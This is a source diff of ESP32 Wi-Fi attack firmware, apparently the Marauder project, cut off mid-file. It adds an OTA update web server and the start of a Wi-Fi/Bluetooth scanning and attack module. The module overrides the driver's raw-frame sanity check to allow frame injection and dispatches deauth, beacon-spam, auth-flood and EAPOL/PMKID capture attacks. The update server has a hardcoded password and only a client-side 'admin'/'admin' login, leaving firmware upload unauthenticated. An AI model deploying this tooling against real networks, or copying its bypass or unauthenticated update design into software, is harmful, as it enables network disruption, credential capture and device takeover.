+  // Notify if client has connected to the update server
+
+  
+  int current_sta = WiFi.softAPgetStationNum();
+  
+  if (current_sta < this->num_sta)
+  {
+    this->num_sta = current_sta;
+    Serial.print("Update server: Client disconnected -> ");
+    Serial.println(this->num_sta);
+  }
+  else if (current_sta > this->num_sta)
+  {
+    this->num_sta = current_sta;
+    Serial.print("Update server: Client connected -> ");
+    Serial.println(this->num_sta);
+  }
+  
+  
+  server.handleClient();
+  delay(1);
+}
+
+// Callback for the embedded jquery.min.js page
+void Web::onJavaScript(void) {
+    Serial.println("onJavaScript(void)");
+    server.setContentLength(jquery_min_js_v3_2_1_gz_len);
+    server.sendHeader(F("Content-Encoding"), F("gzip"));
+    server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
+}
+
+void Web::setupOTAupdate()
+{
+  uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_WHITE);
+  #endif
+
+  Serial.println(wifi_scan_obj.freeRAM());
+  #ifdef HAS_SCREEN
+    display_obj.tft.print(text_table3[0]);  
+  #endif
+  Serial.println("Configuring update server...");
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextColor(TFT_YELLOW);
+  #endif
+  
+  // Start WiFi AP
+  Serial.println("Initializing WiFi...");
+  //wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
+  esp_wifi_init(&wifi_scan_obj.cfg);
+  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
+    Serial.println("Could not set WiFi Storage!");
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  Serial.println(wifi_scan_obj.freeRAM());
+
+  Serial.println("Starting softAP...");
+  esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
+  WiFi.softAP(ssid, password);
+  Serial.println("");
+
+  Serial.println(wifi_scan_obj.freeRAM());
+
+  Serial.println("Displaying settings to TFT...");
+  #ifdef HAS_SCREEN
+    display_obj.tft.print(text_table1[2]);
+    display_obj.tft.println(ssid);
+    display_obj.tft.print(text_table3[1]);
+    display_obj.tft.print(WiFi.softAPIP());
+    display_obj.tft.print("\n");
+  #endif
+  Serial.print("IP address: ");
+  Serial.println(WiFi.softAPIP());
+
+  // return javascript jquery
+  Serial.println("Setting server behavior...");
+  Serial.println(wifi_scan_obj.freeRAM());
+  server.on("/jquery.min.js", HTTP_GET, onJavaScript);
+  /*return index page which is stored in serverIndex */
+  server.on("/", HTTP_GET, [this]() {
+    server.sendHeader("Connection", "close");
+    server.send(200, "text/html", loginIndex);
+  });
+  server.on("/serverIndex", HTTP_GET, [this]() {
+    server.sendHeader("Connection", "close");
+    server.send(200, "text/html", serverIndex);
+  });
+  /*handling uploading firmware file */
+  server.on("/update", HTTP_POST, [this]() {
+    server.sendHeader("Connection", "close");
+    server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
+    ESP.restart();
+  }, [this]() {
+    HTTPUpload& upload = server.upload();
+    if (upload.status == UPLOAD_FILE_START) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_YELLOW);
+        display_obj.tft.print(text_table3[2]);
+        display_obj.tft.print(upload.filename.c_str());
+        display_obj.tft.print("\n");
+      #endif
+      Serial.printf("Update: %s\n", upload.filename.c_str());
+      if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
+        Update.printError(Serial);
+      }
+    } else if (upload.status == UPLOAD_FILE_WRITE) {
+      /* flashing firmware to ESP*/
+      if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
+        Update.printError(Serial);
+      }
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_CYAN);
+        display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
+        display_obj.tft.setCursor(0, 164);
+        display_obj.tft.print(text_table3[3]);
+        display_obj.tft.print(upload.totalSize);
+        display_obj.tft.print("\n");
+      #endif
+      
+    } else if (upload.status == UPLOAD_FILE_END) {
+      if (Update.end(true)) { //true to set the size to the current progress
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_GREEN);
+          display_obj.tft.print(text_table3[4]);
+          display_obj.tft.print(upload.totalSize);
+          display_obj.tft.print(text_table2[3]);
+        #endif
+        Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
+        delay(1000);
+      } else {
+        Update.printError(Serial);
+      }
+    }
+  });
+
+  
+  Serial.println("Finished setting server behavior");
+  Serial.println(wifi_scan_obj.freeRAM());
+  Serial.println("Starting server...");
+  server.begin();
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextColor(TFT_GREEN);
+    display_obj.tft.println(text_table3[5]);
+  #endif
+  Serial.println("Completed update server setup");
+  Serial.println(wifi_scan_obj.freeRAM());
+}
+
+void Web::shutdownServer() {
+  Serial.println("Closing Update Server...");
+  server.stop();
+  WiFi.mode(WIFI_OFF);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_stop();
+  esp_wifi_deinit();
+  Serial.println(wifi_scan_obj.freeRAM());
+}

+ 141 - 0
esp32cam_marauder/Web.h

@@ -0,0 +1,141 @@
+#ifndef Web_h
+#define Web_h
+
+/*
+Code taken from espressif ESP32 OTA Update example
+*/
+
+#include "configs.h"
+
+#include <WiFi.h>
+#include <WiFiClient.h>
+#include <WebServer.h>
+#include <ESPmDNS.h>
+#include <Update.h>
+
+#include "Assets.h"
+
+#ifdef HAS_SCREEN
+  #include "Display.h"
+#endif
+
+#include "WiFiScan.h"
+
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+
+extern WiFiScan wifi_scan_obj;
+
+class Web
+{
+  private:
+    
+    PROGMEM const char* host = "esp32marauder";
+    PROGMEM const char* ssid = "MarauderOTA";
+    PROGMEM const char* password = "justcallmekoko";
+
+    bool serving = false;
+    
+    int num_sta = 0;
+
+    PROGMEM const char* loginIndex = 
+     "<form name='loginForm'>"
+        "<table width='20%' bgcolor='A09F9F' align='center'>"
+            "<tr>"
+                "<td colspan=2>"
+                    "<center><font size=4><b>ESP32 Login Page</b></font></center>"
+                    "<br>"
+                "</td>"
+                "<br>"
+                "<br>"
+            "</tr>"
+            "<td>Username:</td>"
+            "<td><input type='text' size=25 name='userid'><br></td>"
+            "</tr>"
+            "<br>"
+            "<br>"
+            "<tr>"
+                "<td>Password:</td>"
+                "<td><input type='Password' size=25 name='pwd'><br></td>"
+                "<br>"
+                "<br>"
+            "</tr>"
+            "<tr>"
+                "<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
+            "</tr>"
+        "</table>"
+    "</form>"
+    "<script>"
+        "function check(form)"
+        "{"
+        "if(form.userid.value=='admin' && form.pwd.value=='admin')"
+        "{"
+        "window.open('/serverIndex')"
+        "}"
+        "else"
+        "{"
+        " alert('Error Password or Username')/*displays error message*/"
+        "}"
+        "}"
+    "</script>";
+     
+    /*
+     * Server Index Page
+     */
+     
+    PROGMEM const char* serverIndex = 
+    "<script src='/jquery.min.js'></script>"
+    "Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
+    "both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
+    "Your web browser probably requests those two files simultaneously and therefore <br/>"
+    "the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
+    "load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
+    "This second attempt, with an idle webserver, will be processed.<br/><br/>"
+    "Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
+    "<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
+       "<input type='file' name='update'>"
+            "<input type='submit' value='Update'>"
+        "</form>"
+     "<div id='prg'>progress: 0%</div>"
+     "<script>"
+      "$('form').submit(function(e){"
+      "e.preventDefault();"
+      "var form = $('#upload_form')[0];"
+      "var data = new FormData(form);"
+      " $.ajax({"
+      "url: '/update',"
+      "type: 'POST',"
+      "data: data,"
+      "contentType: false,"
+      "processData:false,"
+      "xhr: function() {"
+      "var xhr = new window.XMLHttpRequest();"
+      "xhr.upload.addEventListener('progress', function(evt) {"
+      "if (evt.lengthComputable) {"
+      "var per = evt.loaded / evt.total;"
+      "$('#prg').html('progress: ' + Math.round(per*100) + '%');"
+      "}"
+      "}, false);"
+      "return xhr;"
+      "},"
+      "success:function(d, s) {"
+      "console.log('success!')" 
+     "},"
+     "error: function (a, b, c) {"
+     "}"
+     "});"
+     "});"
+     "</script>";
+
+  public:
+  
+    Web();
+
+    void main();
+    PROGMEM static void onJavaScript();
+    void setupOTAupdate();
+    void shutdownServer();
+};
+
+#endif

+ 3708 - 0
esp32cam_marauder/WiFiScan.cpp

@@ -0,0 +1,3708 @@
+#include "WiFiScan.h"
+#include "lang_var.h"
+
+int num_beacon = 0;
+int num_deauth = 0;
+int num_probe = 0;
+int num_eapol = 0;
+
+LinkedList<ssid>* ssids;
+LinkedList<AccessPoint>* access_points;
+LinkedList<Station>* stations;
+
+extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
+    if (arg == 31337)
+      return 1;
+    else
+      return 0;
+}
+
+#ifdef HAS_BT
+  class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
+  
+      void onResult(BLEAdvertisedDevice *advertisedDevice) {
+  
+        #ifdef HAS_SCREEN
+          int buf = display_obj.display_buffer->size();
+        #else
+          int buf = 0;
+        #endif
+          
+        String display_string = "";
+        if (buf >= 0)
+        {
+          display_string.concat(text_table4[0]);
+          display_string.concat(advertisedDevice->getRSSI());
+          Serial.print(" RSSI: ");
+          Serial.print(advertisedDevice->getRSSI());
+  
+          display_string.concat(" ");
+          Serial.print(" ");
+          
+          Serial.print("Device: ");
+          if(advertisedDevice->getName().length() != 0)
+          {
+            display_string.concat(advertisedDevice->getName().c_str());
+            Serial.print(advertisedDevice->getName().c_str());
+            
+          }
+          else
+          {
+            display_string.concat(advertisedDevice->getAddress().toString().c_str());
+            Serial.print(advertisedDevice->getAddress().toString().c_str());
+          }
+  
+          #ifdef HAS_SCREEN
+            uint8_t temp_len = display_string.length();
+            for (uint8_t i = 0; i < 40 - temp_len; i++)
+            {
+              display_string.concat(" ");
+            }
+    
+            Serial.println();
+    
+            while (display_obj.printing)
+              delay(1);
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          #endif
+        }
+      }
+  };
+  
+  class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
+      void onResult(BLEAdvertisedDevice *advertisedDevice) {
+        String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
+  
+        #ifdef HAS_SCREEN
+          int buf = display_obj.display_buffer->size();
+        #else
+          int buf = 0;
+        #endif
+          
+        if (buf >= 0)
+        {
+          Serial.print("Device: ");
+          String display_string = "";
+          if(advertisedDevice->getName().length() != 0)
+          {
+            Serial.print(advertisedDevice->getName().c_str());
+            for(uint8_t i = 0; i < bad_list_length; i++)
+            {
+              #ifdef HAS_SCREEN
+                if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
+                {
+                  display_string.concat(text_table4[1]);
+                  display_string.concat(" ");
+                  display_string.concat(advertisedDevice->getName().c_str());
+                  uint8_t temp_len = display_string.length();
+                  for (uint8_t i = 0; i < 40 - temp_len; i++)
+                  {
+                    display_string.concat(" ");
+                  }
+                  while (display_obj.printing)
+                    delay(1);
+                  display_obj.loading = true;
+                  display_obj.display_buffer->add(display_string);
+                  display_obj.loading = false;
+                }
+              #endif
+            }
+          }
+          else
+          {
+            Serial.print(advertisedDevice->getAddress().toString().c_str());
+          }
+          Serial.print(" RSSI: ");
+          Serial.println(advertisedDevice->getRSSI());
+        }
+      }
+  };
+#endif
+
+
+WiFiScan::WiFiScan()
+{
+}
+
+void WiFiScan::RunSetup() {
+  if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
+    this->wsl_bypass_enabled = true;
+  else
+    this->wsl_bypass_enabled = false;
+    
+  ssids = new LinkedList<ssid>();
+  access_points = new LinkedList<AccessPoint>();
+  stations = new LinkedList<Station>();
+
+  #ifdef HAS_BT
+    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+    NimBLEDevice::setScanDuplicateCacheSize(200);
+    NimBLEDevice::init("");
+    pBLEScan = NimBLEDevice::getScan(); //create new scan
+    this->ble_initialized = true;
+    
+    this->shutdownBLE();
+  #endif
+
+  this->initWiFi(1);
+}
+
+int WiFiScan::clearStations() {
+  int num_cleared = stations->size();
+  stations->clear();
+  Serial.println("stations: " + (String)stations->size());
+
+  // Now clear stations list from APs
+  for (int i = 0; i < access_points->size(); i++)
+    access_points->get(i).stations->clear();
+    
+  return num_cleared;
+}
+
+int WiFiScan::clearAPs() {
+  int num_cleared = access_points->size();
+  access_points->clear();
+  Serial.println("access_points: " + (String)access_points->size());
+  return num_cleared;
+}
+
+int WiFiScan::clearSSIDs() {
+  int num_cleared = ssids->size();
+  ssids->clear();
+  Serial.println("ssids: " + (String)ssids->size());
+  return num_cleared;
+}
+
+bool WiFiScan::addSSID(String essid) {
+  ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+  ssids->add(s);
+  Serial.println(ssids->get(ssids->size() - 1).essid);
+
+  return true;
+}
+
+int WiFiScan::generateSSIDs(int count) {
+  uint8_t num_gen = count;
+  for (uint8_t x = 0; x < num_gen; x++) {
+    String essid = "";
+
+    for (uint8_t i = 0; i < 6; i++)
+      essid.concat(alfa[random(65)]);
+
+    ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+    ssids->add(s);
+    Serial.println(ssids->get(ssids->size() - 1).essid);
+  }
+
+  return num_gen;
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::joinWiFi(String ssid, String password)
+  {
+    static const char * btns[] ={text16, ""};
+    int count = 0;
+    
+    if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
+      lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+      lv_msgbox_set_text(mbox1, text_table4[2]);
+      lv_msgbox_add_btns(mbox1, btns);
+      lv_obj_set_width(mbox1, 200);
+      lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
+      this->wifi_initialized = true;
+      return;
+    }
+    else if (WiFi.status() == WL_CONNECTED) {
+      Serial.println("Already connected. Disconnecting...");
+      WiFi.disconnect();
+    }
+  
+    esp_wifi_init(&cfg);
+    esp_wifi_set_storage(WIFI_STORAGE_RAM);
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_start();
+      
+    WiFi.begin(ssid.c_str(), password.c_str());
+  
+    Serial.print("Connecting to WiFi");
+    while (WiFi.status() != WL_CONNECTED) {
+      delay(500);
+      Serial.print(".");
+      count++;
+      if (count == 10)
+      {
+        Serial.println("\nCould not connect to WiFi network");
+        lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+        lv_msgbox_set_text(mbox1, text_table4[3]);
+        lv_msgbox_add_btns(mbox1, btns);
+        lv_obj_set_width(mbox1, 200);
+        //lv_obj_set_event_cb(mbox1, event_handler);
+        lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
+        WiFi.mode(WIFI_OFF);
+        return;
+      }
+    }
+  
+    lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+    lv_msgbox_set_text(mbox1, text_table4[4]);
+    lv_msgbox_add_btns(mbox1, btns);
+    lv_obj_set_width(mbox1, 200);
+    lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
+  
+    connected_network = ssid;
+    
+    Serial.println("\nConnected to the WiFi network");
+    Serial.print("IP address: ");
+    Serial.println(WiFi.localIP());
+    this->wifi_initialized = true;
+  }
+#endif
+
+// Apply WiFi settings
+void WiFiScan::initWiFi(uint8_t scan_mode) {
+  // Set the channel
+  if (scan_mode != WIFI_SCAN_OFF) {
+    //Serial.println(F("Initializing WiFi settings..."));
+    this->changeChannel();
+  
+    this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
+    this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
+    this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
+    //Serial.println(F("Initialization complete"));
+  }
+}
+
+bool WiFiScan::scanning() {
+  if (this->currentScanMode == WIFI_SCAN_OFF)
+    return false;
+  else
+    return true;
+}
+
+// Function to prepare to run a specific scan
+void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
+{  
+  this->initWiFi(scan_mode);
+  if (scan_mode == WIFI_SCAN_OFF)
+    StopScan(scan_mode);
+  else if (scan_mode == WIFI_SCAN_PROBE)
+    RunProbeScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_AP)
+    RunBeaconScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
+    RunRawScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_STATION)
+    RunStationScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_TARGET_AP)
+    RunAPScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+    RunAPScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_PWN)
+    RunPwnScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_DEAUTH)
+    RunDeauthScan(scan_mode, color);
+  else if (scan_mode == WIFI_PACKET_MONITOR) {
+    #ifdef HAS_SCREEN
+      RunPacketMonitor(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
+    this->startWiFiAttacks(scan_mode, color, text_table1[50]);
+  else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
+    this->startWiFiAttacks(scan_mode, color, text_table1[51]);
+  else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
+    this->startWiFiAttacks(scan_mode, color, text_table1[52]);
+  else if (scan_mode == WIFI_ATTACK_AUTH)
+    this->startWiFiAttacks(scan_mode, color, text_table4[7]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH)
+    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
+    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
+    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
+  else if (scan_mode == WIFI_ATTACK_AP_SPAM)
+    this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
+  else if (scan_mode == BT_SCAN_ALL) {
+    #ifdef HAS_BT
+      RunBluetoothScan(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == BT_SCAN_SKIMMERS) {
+    #ifdef HAS_BT
+      RunBluetoothScan(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == WIFI_SCAN_ESPRESSIF)
+    RunEspressifScan(scan_mode, color);
+  else if (scan_mode == LV_JOIN_WIFI) {
+    #ifdef HAS_SCREEN
+      RunLvJoinWiFi(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == LV_ADD_SSID) {
+    #ifdef HAS_SCREEN
+      RunLvJoinWiFi(scan_mode, color);
+    #endif
+  }
+
+  WiFiScan::currentScanMode = scan_mode;
+}
+
+void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
+  // Common wifi attack configurations
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    display_obj.tft.fillRect(0,16,240,16, color);
+    display_obj.tft.drawCentreString((String)title_string,120,16,2);
+    display_obj.touchToExit();
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  #endif
+  packets_sent = 0;
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_AP_STA);
+  esp_wifi_start();
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  
+  //WiFi.mode(WIFI_AP_STA);
+  
+  //esp_wifi_init(&cfg);
+  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  //esp_wifi_set_mode(WIFI_AP_STA);
+  //esp_wifi_start();
+  //esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(82);
+  this->wifi_initialized = true;
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.attackLED();
+  #else
+    led_obj.setMode(MODE_ATTACK);
+  #endif
+  initTime = millis();
+}
+
+bool WiFiScan::shutdownWiFi() {
+  if (this->wifi_initialized) {
+    esp_wifi_set_promiscuous(false);
+    WiFi.disconnect();
+    WiFi.mode(WIFI_OFF);
+
+    dst_mac = "ff:ff:ff:ff:ff:ff";
+  
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_stop();
+    esp_wifi_deinit();
+
+    #ifdef MARAUDER_FLIPPER
+      flipper_led.offLED();
+    #else
+      led_obj.setMode(MODE_OFF);
+    #endif
+  
+    this->wifi_initialized = false;
+    return true;
+  }
+  else {
+    return false;
+  }
+}
+
+bool WiFiScan::shutdownBLE() {
+  #ifdef HAS_BT
+    if (this->ble_initialized) {
+      pBLEScan->stop();
+      
+      pBLEScan->clearResults();
+      BLEDevice::deinit();
+
+      #ifdef MARAUDER_FLIPPER
+        flipper_led.offLED();
+      #else
+        led_obj.setMode(MODE_OFF);
+      #endif
+    
+      this->ble_initialized = false;
+      return true;
+    }
+    else {
+      return false;
+    }
+  #endif
+
+  return true;
+}
+
+// Function to stop all wifi scans
+void WiFiScan::StopScan(uint8_t scan_mode)
+{
+  if ((currentScanMode == WIFI_SCAN_PROBE) ||
+  (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+  (currentScanMode == WIFI_SCAN_PWN) ||
+  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
+  (currentScanMode == WIFI_SCAN_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ALL) ||
+  (currentScanMode == WIFI_SCAN_DEAUTH) ||
+  (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+  (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+  (currentScanMode == WIFI_ATTACK_AUTH) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+  (currentScanMode == WIFI_ATTACK_MIMIC) ||
+  (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+  (currentScanMode == WIFI_PACKET_MONITOR) ||
+  (currentScanMode == LV_JOIN_WIFI))
+  {
+    this->shutdownWiFi();
+  }
+
+  
+  else if ((currentScanMode == BT_SCAN_ALL) ||
+  (currentScanMode == BT_SCAN_SKIMMERS))
+  {
+    #ifdef HAS_BT
+      this->shutdownBLE();
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.display_buffer->clear();
+    #ifdef SCREEN_BUFFER
+      display_obj.screen_buffer->clear();
+    #endif
+    //Serial.print("display_buffer->size(): ");
+    Serial.println(display_obj.display_buffer->size());
+  
+    display_obj.tteBar = false;
+  #endif
+}
+
+String WiFiScan::getStaMAC()
+{
+  char *buf;
+  uint8_t mac[6];
+  char macAddrChr[18] = {0};
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+  this->wifi_initialized = true;
+  sprintf(macAddrChr, 
+          "%02X:%02X:%02X:%02X:%02X:%02X",
+          mac[0],
+          mac[1],
+          mac[2],
+          mac[3],
+          mac[4],
+          mac[5]);
+  this->shutdownWiFi();
+  return String(macAddrChr);
+}
+
+String WiFiScan::getApMAC()
+{
+  char *buf;
+  uint8_t mac[6];
+  char macAddrChr[18] = {0};
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+  this->wifi_initialized = true;
+  sprintf(macAddrChr, 
+          "%02X:%02X:%02X:%02X:%02X:%02X",
+          mac[0],
+          mac[1],
+          mac[2],
+          mac[3],
+          mac[4],
+          mac[5]);
+  this->shutdownWiFi();
+  return String(macAddrChr);
+}
+
+
+String WiFiScan::freeRAM()
+{
+  char s[150];
+  sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
+  this->free_ram = String(esp_get_free_heap_size());
+  return String(s);
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("ap");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  Serial.println(text_table4[9] + (String)access_points->size());
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[44],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
+  //else
+  //  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
+  
+    display_obj.tft.init();
+    display_obj.tft.setRotation(1);
+    
+    #ifdef TFT_SHIELD
+      uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+      Serial.println("Using TFT Shield");
+    #else if defined(TFT_DIY)
+      uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+      Serial.println("Using TFT DIY");
+    #endif
+    display_obj.tft.setTouch(calData);
+    
+  
+    lv_obj_t * scr = lv_cont_create(NULL, NULL);
+    lv_disp_load_scr(scr);
+  
+  }
+#endif
+
+void WiFiScan::RunClearStations() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearStations();
+  #endif
+}
+
+void WiFiScan::RunClearAPs() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[9]));
+    display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearAPs();
+    this->clearStations();
+  #endif
+}
+
+void WiFiScan::RunClearSSIDs() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[11]));
+    display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
+  #else
